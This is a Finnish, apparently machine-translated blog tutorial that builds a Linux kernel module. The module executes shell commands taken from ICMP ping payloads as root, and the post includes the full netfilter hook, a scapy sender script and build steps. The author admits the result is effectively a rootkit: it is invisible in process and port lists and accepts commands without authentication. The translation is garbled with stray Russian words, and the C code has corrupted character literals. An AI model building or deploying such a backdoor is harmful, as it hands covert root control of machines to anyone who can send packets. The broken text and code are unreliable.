Ydinkuori ICMP:n päällä

Ydinkuori ICMP:n päällä

TL; DR: Kirjoitan ydinmoduulia, joka lukee komennot ICMP-hyötykuormasta ja suorittaa ne palvelimella, vaikka SSH kaatuu. Kärsimättömimmille kaikki koodi on GitHub.

Varoitus! Kokeneet C-ohjelmoijat voivat purskahtaa verenkyyneliin! Saatan olla jopa väärässä terminologiassa, mutta kaikki kritiikki on tervetullutta. Postaus on tarkoitettu niille, joilla on erittäin karkea käsitys C-ohjelmoinnista ja jotka haluavat tutustua Linuxin sisäisiin osiin.

Kommenteissa ensimmäiseen статье mainitsi SoftEther VPN:n, joka voi jäljitellä joitain "tavallisia" protokollia, erityisesti HTTPS, ICMP ja jopa DNS. Voin kuvitella, että vain ensimmäinen niistä toimii, koska tunnen HTTP(S:n) hyvin ja minun piti opetella tunnelointia ICMP:n ja DNS:n yli.

Ydinkuori ICMP:n päällä

Kyllä, vuonna 2020 opin, että voit lisätä mielivaltaisen hyötykuorman ICMP-paketteihin. Mutta parempi myöhään kuin ei milloinkaan! Ja koska asialle voidaan tehdä jotain, niin se on tehtävä. Koska käytän jokapäiväisessä elämässäni useimmiten komentoriviä, myös SSH:n kautta, tuli ensimmäisenä mieleeni ajatus ICMP-kuoresta. Ja kokoaakseni täydellisen bullshield-bingon, päätin kirjoittaa sen Linux-moduulina kielellä, josta minulla on vain karkea käsitys. Tällainen kuori ei näy prosessiluettelossa, voit ladata sen ytimeen ja se ei ole tiedostojärjestelmässä, et näe mitään epäilyttävää kuunteluporttien luettelossa. Ominaisuuksiensa mukaan tämä on täysi rootkit, mutta toivon voivani parantaa sitä ja käyttää sitä viimeisenä keinona, kun keskimääräinen kuormitus on liian korkea SSH:n kautta kirjautumiseen ja ainakin suorittamiseen. echo i > /proc/sysrq-triggerpääsyn palauttamiseen ilman uudelleenkäynnistystä.

Otamme tekstieditorin, perusohjelmointitaidot Pythonissa ja C:ssä, Googlen ja virtuaalinen jota et välitä laittaa veitsen alle, jos kaikki hajoaa (valinnainen - paikallinen VirtualBox/KVM/jne.) ja mennään!

Asiakkaan puolella

Minusta tuntui, että asiakasosaan minun piti kirjoittaa noin 80 rivin käsikirjoitus, mutta siellä oli ystävällisiä ihmisiä, jotka tekivät sen puolestani. kaikki työt. Koodi osoittautui odottamattoman yksinkertaiseksi, mahtuen 10 merkittävään riviin:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skripti ottaa kaksi argumenttia, osoitteen ja hyötykuorman. Ennen lähettämistä hyötykuormaa edeltää avain run:, tarvitsemme sitä sulkeaksemme pois paketit, joissa on satunnaisia ​​hyötykuormia.

Ydin vaatii oikeuksia pakettien luomiseen, joten komentosarja on suoritettava pääkäyttäjänä. Älä unohda antaa suorituslupia ja asentaa itse scapy. Debianilla on paketti nimeltä python3-scapy. Nyt voit tarkistaa, kuinka kaikki toimii.

Komennon suorittaminen ja tulostaminen
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Tältä se näyttää nuuskijassa
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Vastauspaketin hyötykuorma ei muutu.

Ytimen moduuli

Debian-virtuaalikoneen rakentamiseen tarvitaan vähintään make и linux-headers-amd64, loput tulevat riippuvuuksien muodossa. En tarjoa koko koodia artikkelissa; voit kloonata sen Githubissa.

Koukun asennus

Aluksi tarvitsemme kaksi toimintoa moduulin lataamiseksi ja sen purkamiseksi. Purkutoimintoa ei vaadita, mutta sitten rmmod se ei toimi; moduuli puretaan vain, kun se sammutetaan.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Mitä täällä tapahtuu:

  1. Kaksi otsikkotiedostoa vedetään sisään itse moduulin ja verkkosuodattimen käsittelemiseksi.
  2. Kaikki toiminnot menevät netfilterin läpi, johon voit asettaa koukut. Tätä varten sinun on ilmoitettava rakenne, jossa koukku määritetään. Tärkeintä on määrittää toiminto, joka suoritetaan koukussa: nfho.hook = icmp_cmd_executor; Itse toimintoon palaan myöhemmin.
    Sitten asetin paketin käsittelyajan: NF_INET_PRE_ROUTING määrittää paketin käsittelyn, kun se ilmestyy ensimmäisen kerran ytimeen. Voidaan käyttää NF_INET_POST_ROUTING paketin käsittelyyn, kun se poistuu ytimestä.
    Laitoin suodattimeksi IPv4:n: nfho.pf = PF_INET;.
    Annan koukunni korkeimman prioriteetin: nfho.priority = NF_IP_PRI_FIRST;
    Ja rekisteröin tietorakenteen varsinaiseksi koukkuksi: nf_register_net_hook(&init_net, &nfho);
  3. Viimeinen toiminto poistaa koukun.
  4. Lisenssi on merkitty selkeästi, jotta kääntäjä ei valittaisi.
  5. Tehtävät module_init() и module_exit() aseta muut toiminnot moduulin alustamiseksi ja lopettamiseksi.

Hyötykuorman hakeminen

Nyt meidän on purettava hyötykuorma, tämä osoittautui vaikeimmaksi tehtäväksi. Ytimessä ei ole sisäänrakennettuja toimintoja hyötykuormien kanssa työskentelemiseen; voit jäsentää vain korkeamman tason protokollien otsikoita.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Mitä tapahtuu:

  1. Minun piti sisällyttää ylimääräisiä otsikkotiedostoja tällä kertaa IP- ja ICMP-otsikoiden käsittelemiseksi.
  2. Asetin rivin enimmäispituuden: #define MAX_CMD_LEN 1976. Miksi juuri tämä? Koska kääntäjä valittaa siitä! He ovat jo ehdottaneet minulle, että minun on ymmärrettävä pino ja pino, jonain päivänä teen ehdottomasti tämän ja ehkä jopa korjaan koodin. Asetin heti rivin, joka sisältää komennon: char cmd_string[MAX_CMD_LEN];. Sen pitäisi näkyä kaikissa toiminnoissa; puhun tästä tarkemmin kohdassa 9.
  3. Nyt meidän on alustettava (struct work_struct my_work;) rakenne ja yhdistä se toiseen toimintoon (DECLARE_WORK(my_work, work_handler);). Puhun myös yhdeksännessä kappaleessa siitä, miksi tämä on tarpeen.
  4. Nyt julistan funktion, josta tulee koukku. Netfilter sanelee tyypin ja hyväksytyt argumentit, joista olemme vain kiinnostuneita skb. Tämä on socket-puskuri, perustietorakenne, joka sisältää kaikki saatavilla olevat tiedot paketista.
  5. Jotta toiminto toimisi, tarvitset kaksi rakennetta ja useita muuttujia, mukaan lukien kaksi iteraattoria.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Voimme aloittaa logiikasta. Jotta moduuli toimisi, ei tarvita muita paketteja kuin ICMP Echo, joten jäsennämme puskurin sisäänrakennetuilla funktioilla ja heitämme pois kaikki ei-ICMP- ja ei-Echo-paketit. Palata NF_ACCEPT tarkoittaa paketin hyväksymistä, mutta voit myös pudottaa paketteja palauttamalla NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    En ole testannut mitä tapahtuu tarkistamatta IP-otsikot. Vähäinen tietoni C:stä kertoo minulle, että ilman lisätarkastuksia tapahtuu jotain kauheaa. Olen iloinen, jos luovuttelet minut tästä!

  7. Nyt kun paketti on juuri sitä tyyppiä, jota tarvitset, voit purkaa tiedot. Ilman sisäänrakennettua toimintoa sinun on ensin saatava osoitin hyötykuorman alkuun. Tämä tehdään yhdessä paikassa, sinun on vietävä osoitin ICMP-otsikon alkuun ja siirrettävä se tämän otsikon kokoon. Kaikki käyttää rakennetta icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Otsikon lopun on vastattava hyötykuorman loppua skb, siksi saamme sen ydinkeinoilla vastaavasta rakenteesta: tail = skb_tail_pointer(skb);.

    Ydinkuori ICMP:n päällä

    Kuva varastettiin siten, voit lukea lisää socket-puskurista.

  8. Kun sinulla on osoittimet alkuun ja loppuun, voit kopioida tiedot merkkijonoksi cmd_string, tarkista, onko siinä etuliite run: ja joko hylkää paketti, jos se puuttuu, tai kirjoita rivi uudelleen ja poista tämä etuliite.
  9. Siinä kaikki, nyt voit soittaa toiselle käsittelijälle: schedule_work(&my_work);. Koska tällaiselle kutsulle ei ole mahdollista välittää parametria, komennon sisältävän rivin on oltava globaali. schedule_work() siirtää hyväksyttyyn rakenteeseen liittyvän toiminnon tehtävän ajoitusohjelman yleiseen jonoon ja suorittaa sen valmiiksi, jolloin et odota komennon valmistumista. Tämä on välttämätöntä, koska koukun on oltava erittäin nopea. Muuten valintasi on, että mikään ei ala tai saat ytimen paniikin. Viivytys on kuin kuolema!
  10. Siinä kaikki, voit hyväksyä paketin vastaavalla palautuksella.

Ohjelman kutsuminen käyttäjätilassa

Tämä toiminto on ymmärrettävin. Sen nimi annettiin DECLARE_WORK(), tyyppi ja hyväksytyt argumentit eivät ole kiinnostavia. Otamme rivin komennon kanssa ja välitämme sen kokonaan kuorelle. Anna hänen käsitellä jäsentämistä, binäärien etsimistä ja kaikkea muuta.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Aseta argumentit merkkijonojoukoksi argv[]. Oletan, että kaikki tietävät, että ohjelmat todella suoritetaan tällä tavalla, ei jatkuvana rivinä välilyönnillä.
  2. Aseta ympäristömuuttujat. Lisäsin vain PATH:n minimijoukolla polkuja toivoen, että ne kaikki oli jo yhdistetty /bin с /usr/bin и /sbin с /usr/sbin. Muilla poluilla on harvoin merkitystä käytännössä.
  3. Valmis, tehdään se! Ytimen toiminto call_usermodehelper() hyväksyy sisäänpääsyn. polku binaariin, argumenttien joukko, ympäristömuuttujien joukko. Tässä oletetaan myös, että kaikki ymmärtävät polun välittämisen suoritettavaan tiedostoon erillisenä argumenttina, mutta voit kysyä. Viimeinen argumentti määrittää, odottaako prosessin valmistumista (UMH_WAIT_PROC), prosessin aloitus (UMH_WAIT_EXEC) tai älä odota ollenkaan (UMH_NO_WAIT). Onko muutakin UMH_KILLABLE, en tutkinut sitä.

kokoonpano

Ytimen moduulien kokoonpano suoritetaan ytimen make-frameworkin kautta. Nimeltään make erityisessä hakemistossa, joka on sidottu ytimen versioon (määritetty tässä: KERNELDIR:=/lib/modules/$(shell uname -r)/build), ja moduulin sijainti välitetään muuttujalle M argumenteissa. icmpshell.ko ja clean targets käyttävät tätä viitekehystä kokonaan. SISÄÄN obj-m osoittaa objektitiedoston, joka muunnetaan moduuliksi. Syntaksi, joka tekee uudelleen main.o в icmpshell.o (icmpshell-objs = main.o) ei näytä minusta kovin loogiselta, mutta olkoon niin.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Keräämme: make. Ladataan: insmod icmpshell.ko. Valmis, voit tarkistaa: sudo ./send.py 45.11.26.232 "date > /tmp/test". Jos koneellasi on tiedosto /tmp/test ja se sisältää päivämäärän, jolloin pyyntö lähetettiin, mikä tarkoittaa, että teit kaiken oikein ja minä tein kaiken oikein.

Johtopäätös

Ensimmäinen kokemukseni ydinvoiman kehittämisestä oli paljon helpompi kuin odotin. Jopa ilman kokemusta C:ssä kehittämisestä, kääntäjävinkkeihin ja Googlen tuloksiin keskittyen, pystyin kirjoittamaan toimivan moduulin ja tuntemaan oloni ytimen hakkeriksi ja samalla skriptilapseksi. Lisäksi menin Kernel Newbies -kanavalle, jossa minua käskettiin käyttämään schedule_work() soittamisen sijaan call_usermodehelper() koukun sisällä ja häpeäsi häntä, epäilen oikeutetusti huijausta. Sata riviä koodia maksoi minulle noin viikon kehitystyöstä vapaa-ajallani. Onnistunut kokemus, joka tuhosi henkilökohtaisen myyttini järjestelmäkehityksen valtavasta monimutkaisuudesta.

Jos joku suostuu tarkistamaan koodin Githubissa, olen kiitollinen. Olen melko varma, että tein paljon typeriä virheitä, varsinkin kun työskentelin jousien kanssa.

Ydinkuori ICMP:n päällä

Lähde: will.com

Lisää kommentti